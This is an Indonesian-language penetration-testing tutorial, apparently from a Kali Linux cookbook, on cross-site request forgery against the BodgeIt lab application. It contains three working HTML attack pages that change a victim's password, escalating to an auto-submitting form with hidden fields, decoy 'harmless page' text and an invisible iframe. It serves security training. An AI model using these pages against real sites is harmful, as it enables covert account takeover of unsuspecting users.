Bersiap-siap

Anda memerlukan akun user yang valid di BodgeIt untuk artikel ini. Artikel ini menggunakan [email protected] sebagai korban:

Bagaimana cara melakukannya…

Pertama, Anda perlu menganalisis permintaan yang ingin Anda paksa dari korban. Untuk melakukan ini, Anda memerlukan Burp Suite atau proxy lain yang dikonfigurasi di browser:

  1. Masuk ke BodgeIt sebagai user mana pun dan klik nama user untuk membuka profil.
  2. Lakukan perubahan password. Lihat seperti apa permintaan di proxy:

    Jadi, ini adalah  POST permintaan ke  http://192.168.56.11/bodgeit/password.jsp,dan hanya memiliki password dan konfirmasinya di badan.

  3. Cobalah untuk membuat halaman HTML yang sangat sederhana yang mereplikasi permintaan ini. Buat file ( beri nama  csrf-change-password.html) dengan konten berikut:
    <html>
    <body>
    <form action="http://192.168.56.11/bodgeit/password.jsp" method="POST">
    <input name="password1" value="csrfpassword">
    <input name="password2" value="csrfpassword">
    <input type="submit" value="submit">
    </form>
    </body>
    </html>
  4. Sekarang, muat file ini di browser yang sama dengan sesi login Anda:
  5. Klik kirim dan Anda akan diarahkan ke halaman profil user. Ini akan memberi tahu Anda bahwa password berhasil diperbarui.
  6. Meskipun ini membuktikan maksudnya, situs eksternal (atau halaman HTML lokal seperti dalam kasus ini) dapat menjalankan permintaan perubahan password pada aplikasi. Masih kecil kemungkinannya bahwa user akan mengeklik SubmitAnda dapat mengotomatiskannya dan menyembunyikan bidang input sehingga konten berbahaya disembunyikan. Sekarang, buat halaman baru berdasarkan halaman sebelumnya; sebut saja  csrf-change-password-scripted.html:
    <html>
    <script>
    function submit_form()
    {
     document.getElementById('form1').submit();
    }
    </script>
    <body onload="submit_form()">
    <h1>A completely harmless page</h1>
    You can trust this page.
    Nothing bad is going to happen to you or your BodgeIt account.
    <form id="form1" action="http://192.168.56.11/bodgeit/password.jsp" method="POST">
    <input name="password1" value="csrfpassword1" type="hidden">
    <input name="password2" value="csrfpassword1" type="hidden">
    </form>
    </body>
    </html>

    Kali ini, formulir memiliki parameter ID dan ada skrip di halaman yang akan mengirimkan kontennya ketika halaman dimuat sepenuhnya.

  7.  Jika Anda memuat halaman ini di browser yang sama tempat Anda memulai sesi BodgeIt, itu akan secara otomatis mengirim permintaan dan halaman profil user akan ditampilkan setelah itu. Pada tangkapan layar berikut, browser Debuggersetel breakpoint tepat sebelum permintaan dibuat:
  8. Upaya terakhir ini terlihat lebih baik dari sudut pandang penyerang. Anda hanya perlu korban untuk memuat halaman dan permintaan akan dikirim secara otomatis, tetapi kemudian korban akan melihat Your password has been changedpesan, dan itu pasti akan meningkatkan peringatan.
  9. Anda dapat lebih meningkatkan halaman penyerang dengan membuatnya memuat respons dalam bingkai tak terlihat di dalam halaman yang sama. Ada banyak cara untuk melakukan ini; yang cepat dan kotor adalah mengatur ukuran 0 untuk bingkai. File Anda akan terlihat seperti ini:
    <html>
    <script>
    function submit_form()
    {
     document.getElementById('form1').submit();
    }
    </script>
    <body onload="submit_form()">
    <h1>A completely harmless page</h1>
    You can trust this page.
    Nothing bad is going to happen to you or your BodgeIt account.
    <form id="form1" action="http://192.168.56.11/bodgeit/password.jsp" method="POST"
     target="target_frame">
    <input name="password1" value="csrfpassword1" type="hidden">
    <input name="password2" value="csrfpassword1" type="hidden">
    </form>
    <iframe name="target_frame" height="0%" witdht="0%">
    </iframe>
    </body>
    </html>

    Perhatikan bagaimana properti target dari formulir adalah iframe yang ditentukan tepat di bawahnya dan bahwa bingkai tersebut memiliki tinggi dan lebar 0%.

  10. Muat halaman baru di browser tempat sesi dimulai. Tangkapan layar ini menunjukkan tampilan halaman saat diperiksa dengan browser Developer Tools: Perhatikan bahwa objek iframe hanya berupa garis hitam pada halaman dan, di Inspector, Anda dapat melihat bahwa objek tersebut berisi halaman profil user BodgeIt.
  11. Jika Anda menganalisis komunikasi jaringan yang dilakukan oleh halaman CSRF Anda, Anda dapat melihat bahwa itu benar-benar membuat permintaan untuk mengubah password BodgeIt:

Bagaimana itu bekerja…

Saat Anda mengirim permintaan dari browser dan sudah memiliki cookie milik domain target yang disimpan, browser akan melampirkan cookie ke permintaan sebelum dikirim. Inilah yang membuat cookie begitu nyaman sebagai pengidentifikasi sesi, tetapi karakteristik cara kerja HTTP ini juga yang membuatnya rentan terhadap serangan seperti yang Anda lihat di artikel ini.

Saat Anda memuat halaman di browser yang sama, di mana Anda memiliki sesi aktif dalam aplikasi, browser akan secara otomatis melampirkan cookie sesi ke permintaan itu. Ini terjadi meskipun itu adalah tab atau jendela yang berbeda, dan halaman ini membuat permintaan ke domain tempat sesi dimulai.

Jika server tidak memverifikasi bahwa permintaan yang diterimanya benar-benar berasal dari dalam aplikasi, itu memungkinkan situs jahat melakukan panggilan atas nama user aktif yang sah yang mengunjungi situs berbahaya ini saat diautentikasi ke domain target.

Dalam uji penetrasi aplikasi web, kode pertama yang Anda gunakan, kode dengan dua bidang teks dan Submit tombol, mungkin cukup untuk menunjukkan adanya kelemahan keamanan. Namun, pengujian penetrasi aplikasi dapat menjadi bagian dari keterlibatan lain, seperti rekayasa sosial atau latihan tim merah. Dalam hal ini, beberapa upaya ekstra akan diperlukan untuk mencegah user korban curiga bahwa sesuatu sedang terjadi.

Dalam artikel ini, Anda menggunakan JavaScript untuk mengotomatiskan pengiriman permintaan dengan menyetel acara onload di halaman dan menjalankan metode pengiriman formulir di fungsi pengendali acara. Anda juga menggunakan iframe tersembunyi untuk memuat respons perubahan password, sehingga korban tidak pernah melihat pesan bahwa passwordnya telah diubah.

Jika menurut Anda artikel ini menarik, Anda dapat menjelajahi Buku Masak Pengujian Penetrasi Web Kali Linux – Edisi Kedua untuk menemukan kerentanan web yang paling umum dan mencegahnya menjadi ancaman bagi keamanan situs Anda. Buku Masak Pengujian Penetrasi Web Kali Linux – Edisi Kedua memberi Anda keterampilan yang Anda butuhkan untuk mencakup setiap tahap uji penetrasi – mulai dari mengumpulkan informasi tentang sistem dan aplikasi hingga mengidentifikasi kerentanan melalui pengujian manual.

Related Posts